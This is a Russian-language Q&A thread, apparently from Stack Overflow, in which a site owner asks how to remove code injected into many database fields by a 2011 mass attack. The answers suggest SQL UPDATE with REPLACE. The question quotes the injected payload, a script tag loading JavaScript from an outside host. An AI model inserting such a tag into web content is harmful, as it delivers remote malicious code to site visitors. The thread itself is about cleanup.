sql удалить строку из поля и обновить - PullRequest
2 голосов
/ 17 октября 2011

Я, к сожалению, стал жертвой этой недавней атаки: http://www.theregister.co.uk/2011/10/14/mass_website_inection_grows/. Я обнаружил подозрительный код во многих полях моей базы данных.

Добавленный код в каждой ячейке всегда одинаков:

ВНИМАНИЕ: Не пытайтесь загрузить местоположение этого файла, я не знаю, каковы могут быть последствия, но я не буду нести ответственность за всех, кто хочет узнать

</title><script src=http://nbnjki.com/urchin.js ></script>

Я ищу запрос, который может выполнить каждую ячейку в выбранном столбце, и, если найдет эту строку, замените ее на '', убедившись, что она не повлияет на существующее содержимое ячейки.

Ответы [ 2 ]

6 голосов
/ 17 октября 2011

Хорошо, я получил свое решение, думаю, я запаниковал из-за срочности только что понял, для кого-то еще:

Update dbo.authors
Set    city = replace(city, 'Salt', 'Olympic');

от http://www.sqlteam.com/article/using-replace-in-an-update-statement

0 голосов
/ 17 октября 2011

Вы можете использовать функцию REPLACE в инструкции UPDATE.

...